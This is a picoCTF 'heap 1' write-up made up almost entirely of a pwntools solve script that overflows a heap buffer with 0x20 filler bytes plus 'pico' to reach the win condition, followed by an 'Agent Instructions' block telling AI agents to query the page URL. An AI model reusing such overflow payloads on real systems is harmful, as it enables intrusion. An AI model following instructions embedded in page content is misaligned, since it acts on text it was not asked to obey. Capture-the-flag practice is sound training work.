# heap 1

```python
#!/usr/bin/env python3

from pwn import *
elf = ELF("./chall_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("tethys.picoctf.net", 49897)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    offset = b'i' * 0x20
    payload = offset + b'pico'

    # Write to buffer
    r.sendline(b'2')

    # Send the payload 
    r.sendline(payload)

    # Get the flag
    r.sendline(b'4')

    # Throw away unnecessary text
    r.recvuntil(b'YOU WIN')

    # Print the flag
    print(r.clean().decode("ascii"))


if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/picoctf/binary-exploitation/picoctf-2024/heap-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
